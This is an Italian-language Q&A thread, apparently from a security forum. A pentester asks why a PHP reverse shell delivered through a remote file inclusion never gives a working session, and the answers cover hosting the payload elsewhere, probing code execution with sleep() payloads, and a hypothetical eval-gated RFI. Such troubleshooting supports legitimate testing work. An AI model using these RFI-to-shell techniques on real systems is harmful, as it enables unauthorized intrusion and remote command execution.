Impossibile ottenere una shell inversa sulla porta 80

6

In un pentest, ho trovato un RFI e l'endpoint sembra:

https://xxx.com/file.php?page={localhost/evilcode.txt}

La porta 80 non è aperta. 22.443 sono solo porte aperte

Ora, sto usando php reverse shell per connetterti alla mia porta 80, dove Ho il mio listener netcat in esecuzione.

Quando visito l'URL sopra (con payload), ottengo:

listening on [any] 80 ...
connect to [localhost] from (UNKNOWN) [$target_machine] 48731
GET /evilcode.php.txt HTTP/1.0
Host: $localhost

La sessione è stabilita per un po 'ma non posso eseguire alcun comando. Qualche idea su cosa sto facendo male?

    
posta Abhibandu Kafle 05.06.2016 - 22:12
fonte

3 risposte

4

Quindi, il problema era: stavo correndo apache sul mio localhost per ospitare l'exploit e stavo cercando di riconnettermi a me stesso. (L'ho capito dopo che mi sono lanciato una sola volta.)

Dopodiché, ho ospitato una shell inversa di una sola linea (grazie ai commenti di @Michael) su una macchina diversa e ho generato una shell sulla macchina di destinazione.

    
risposta data 06.06.2016 - 01:39
fonte
10

Inizia a inviare un semplice file PHP con un comando che non richiede output, ma ti consente di determinare se è stato eseguito o meno.

Basta eseguire due volte la RFI e inviare da netcat:

<?php /* do nothing */ ?>

e

<?php sleep(10); ?>

Se il secondo comando ha il sito web che restituisce la pagina in un tempo di 10 secondi più lungo rispetto al primo tentativo, allora l'RFI è potenzialmente funzionante. Tutto ciò che può fare resta ancora da vedere.

Se i due comandi ritornano nello stesso tempo, non c'è una pausa di dieci secondi in più, quindi il codice PHP che hai inviato è chiaramente non eseguito , quindi inviare una shell inversa ha poco senso.

I passaggi successivi riguardano l'invio di qualcosa che tenta di mostrare nella pagina di destinazione.

ob_end_clean();
print "OK";
die();

potrebbe funzionare. Inoltre, prova a stabilire quale sistema stai esaminando (ad esempio: Ubuntu 12.04-LTS). Questo ti dirà a cosa prestare attenzione, ad es. AppArmor o SELinux o permessi speciali. Provare a ottenere un phpinfo() sarebbe buono, per accertare se alcune funzioni sono state disabilitate, per esempio.

Vai da questo a un guscio inverso completo. Lungo la strada probabilmente scoprirai perché la shell inversa non funziona, e con un po 'di esperienza dovresti essere in grado di farlo funzionare di nuovo, distribuire qualcos'altro o concludere che non ci sia una vera vulnerabilità.

Una possibilità da prendere in considerazione sarebbe quella di utilizzare l'RFI per creare una seconda RFI che sia più semplice da sfruttare, se il primo script attaccato è ancora in grado di scrivere file su disco in posizioni accessibili (e sfruttabili).

Ma ...

Si noti che hai incluso "evilcode.txt" e lo script ha richiesto "evilcode.php.txt". Questa non è una semplice append (sarebbe stata "evilcode.txt.php").

Ciò che sembra accadere è che la pagina ottiene il nome base del file, quindi aggiunge ".php.txt", che sembra indicare un piano al lavoro. Non è .php, non è .txt - è .php.txt, come se l'autore volesse contrassegnarlo come PHP, ma allo stesso tempo non PHP.

È possibile che legga troppo in un'estensione semplice. Ma è anche possibile che l'RFI, pur essendo un'inclusione di file remota, non esegua immediatamente il codice, ma in realtà fa qualcosa del tipo:

// Load page from URL request
$code = file_get_contents($_GET['page']);
if (0 !== strpos($code, '<?php//SQUEAMISH OSSIFRAGE')) {
    // This is not our code! DANGER WILL ROBINSON!
    mailAdministratorAndRecordBreakinAttempt();
} else {
    // The code contains the secret word. It's legit.
    $result = eval($code);
}

Quanto sopra sembra essere una RFI sfruttabile, ma a meno che tu non conosca la parola segreta, semplicemente non funzionerà. D'altra parte, potresti essere in grado di ottenerlo leggendo una delle pagine remote, ora che sai come si ottiene il vero nome locale.

Speriamo che quelle pagine non siano bloccate dall'IP e da cui le richieda in qualsiasi altro luogo, ma l'indirizzo del server non determina l'attivazione di un avviso.

    
risposta data 06.06.2016 - 00:30
fonte
0

L'ho già fatto prima, ma ho inserito una pausa nello script della shell inversa e poi sono tornato al mio host e ho ucciso apache2 subito. Permette alla macchina remota di prendere il documento evil.php, ecc. E poi mi dà 3 o 5 o secondi arbitrari per uccidere l'apache2 sulla porta 80.

    
risposta data 25.09.2017 - 00:09
fonte

Leggi altre domande sui tag